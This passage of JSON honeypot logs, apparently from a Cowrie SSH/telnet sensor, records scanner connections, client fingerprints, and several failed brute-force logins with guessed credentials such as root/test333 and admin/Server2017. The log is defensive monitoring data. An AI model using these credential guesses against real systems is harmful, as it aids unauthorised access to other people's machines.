{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:35.819284Z","src_ip":"198.235.24.89","session":"8a0bab871f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:36.900297Z","src_ip":"198.235.24.89","session":"8a0bab871f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":40420,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c3ed54c9b8d","protocol":"ssh","message":"New connection: 78.128.112.74:40420 (159.203.135.109:22) [session: 4c3ed54c9b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:43.159611Z"}
{"eventid":"cowrie.session.closed","duration":32.65827417373657,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:43.163682Z","src_ip":"5.252.154.12","session":"e4eb000e265b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07887840270996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:43.166968Z","src_ip":"5.252.154.12","session":"9255251fa3a7","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:43.172887Z","src_ip":"78.128.112.74","session":"4c3ed54c9b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:43.681069Z","src_ip":"78.128.112.74","session":"4c3ed54c9b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pass!","message":"login attempt [user/pass!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:44.057435Z","src_ip":"78.128.112.74","session":"4c3ed54c9b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:44.428080Z","src_ip":"198.235.24.89","session":"8a0bab871f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:45.184612Z","src_ip":"78.128.112.74","session":"4c3ed54c9b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.89200949668884,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:47.890086Z","src_ip":"20.123.41.163","session":"13521842429d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55484,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0a970eb68c8","protocol":"telnet","message":"New connection: 174.138.46.234:55484 (159.203.135.109:23) [session: e0a970eb68c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:48.541282Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55926,"dst_ip":"159.203.135.109","dst_port":23,"session":"157caffb9013","protocol":"telnet","message":"New connection: 174.138.46.234:55926 (159.203.135.109:23) [session: 157caffb9013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:49.786721Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":58750,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c7de4a16b6f","protocol":"ssh","message":"New connection: 155.4.244.179:58750 (10.17.0.5:22) [session: 1c7de4a16b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:51.035309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:51.041392Z","src_ip":"155.4.244.179","session":"1c7de4a16b6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:51.147159Z","src_ip":"155.4.244.179","session":"1c7de4a16b6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test333","message":"login attempt [root/test333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:52.130088Z","src_ip":"155.4.244.179","session":"1c7de4a16b6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":53914,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2d348c7abf5","protocol":"telnet","message":"New connection: 5.252.154.12:53914 (10.17.0.5:23) [session: f2d348c7abf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:52.224532Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:53.238864Z","src_ip":"155.4.244.179","session":"1c7de4a16b6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.742929697036743,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:57.529531Z","src_ip":"174.138.46.234","session":"157caffb9013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00192499160767,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:58.250688Z","src_ip":"179.182.234.94","session":"1f61c7d3b0c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332667350769043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:58.669125Z","src_ip":"5.252.154.12","session":"db091837b22a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.500929594039917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:59.134072Z","src_ip":"5.252.154.12","session":"0815b9501e30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.182.234.94","src_port":35554,"dst_ip":"10.17.0.5","dst_port":23,"session":"48baa1bb11aa","protocol":"telnet","message":"New connection: 179.182.234.94:35554 (10.17.0.5:23) [session: 48baa1bb11aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:27:59.631443Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":53930,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca8313f48b3","protocol":"telnet","message":"New connection: 5.252.154.12:53930 (10.17.0.5:23) [session: 3ca8313f48b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:01.308284Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:03.865484Z","src_ip":"81.30.212.94","session":"95d6fcf32da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":38018,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb2df111cf85","protocol":"telnet","message":"New connection: 5.252.154.12:38018 (10.17.0.5:23) [session: eb2df111cf85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:13.510630Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.131.226.185","src_port":41292,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3b4437dd148","protocol":"telnet","message":"New connection: 94.131.226.185:41292 (159.203.135.109:23) [session: f3b4437dd148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:19.004704Z"}
{"eventid":"cowrie.session.closed","duration":31.25520157814026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:23.479613Z","src_ip":"5.252.154.12","session":"f2d348c7abf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":49356,"dst_ip":"10.17.0.5","dst_port":23,"session":"44d5b64b0a70","protocol":"telnet","message":"New connection: 5.252.154.12:49356 (10.17.0.5:23) [session: 44d5b64b0a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:27.680389Z"}
{"eventid":"cowrie.session.closed","duration":30.879733085632324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:32.187862Z","src_ip":"5.252.154.12","session":"3ca8313f48b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":46066,"dst_ip":"10.17.0.5","dst_port":23,"session":"907f908b2b0c","protocol":"telnet","message":"New connection: 5.252.154.12:46066 (10.17.0.5:23) [session: 907f908b2b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:32.783413Z"}
{"eventid":"cowrie.session.closed","duration":13.9034104347229,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:32.907984Z","src_ip":"94.131.226.185","session":"f3b4437dd148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":46074,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfa46b23ee2b","protocol":"telnet","message":"New connection: 5.252.154.12:46074 (10.17.0.5:23) [session: dfa46b23ee2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:32.931250Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":12271,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef65b8783664","protocol":"ssh","message":"New connection: 185.48.213.208:12271 (10.17.0.5:22) [session: ef65b8783664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:33.240186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:33.244870Z","src_ip":"185.48.213.208","session":"ef65b8783664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:33.366075Z","src_ip":"185.48.213.208","session":"ef65b8783664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass123","message":"login attempt [ubuntu/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:33.879802Z","src_ip":"185.48.213.208","session":"ef65b8783664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:35.005167Z","src_ip":"185.48.213.208","session":"ef65b8783664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.987701654434204,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:43.528898Z","src_ip":"174.138.46.234","session":"e0a970eb68c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04757022857666,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:47.558091Z","src_ip":"5.252.154.12","session":"eb2df111cf85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":38466,"dst_ip":"10.17.0.5","dst_port":23,"session":"69ae4f501941","protocol":"telnet","message":"New connection: 5.252.154.12:38466 (10.17.0.5:23) [session: 69ae4f501941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:47.713166Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":50051,"dst_ip":"10.17.0.5","dst_port":22,"session":"e356be938bfc","protocol":"ssh","message":"New connection: 155.4.244.179:50051 (10.17.0.5:22) [session: e356be938bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:51.882573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:51.911343Z","src_ip":"155.4.244.179","session":"e356be938bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:52.013953Z","src_ip":"155.4.244.179","session":"e356be938bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2017","message":"login attempt [admin/Server2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:52.896429Z","src_ip":"155.4.244.179","session":"e356be938bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:54.006501Z","src_ip":"155.4.244.179","session":"e356be938bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.384044885635376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:28:59.064281Z","src_ip":"5.252.154.12","session":"44d5b64b0a70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.244725704193115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:04.028015Z","src_ip":"5.252.154.12","session":"907f908b2b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.757643699645996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:04.688766Z","src_ip":"5.252.154.12","session":"dfa46b23ee2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":37286,"dst_ip":"10.17.0.5","dst_port":22,"session":"062d6e2d4d55","protocol":"ssh","message":"New connection: 209.99.189.177:37286 (10.17.0.5:22) [session: 062d6e2d4d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:04.788585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:04.793432Z","src_ip":"209.99.189.177","session":"062d6e2d4d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 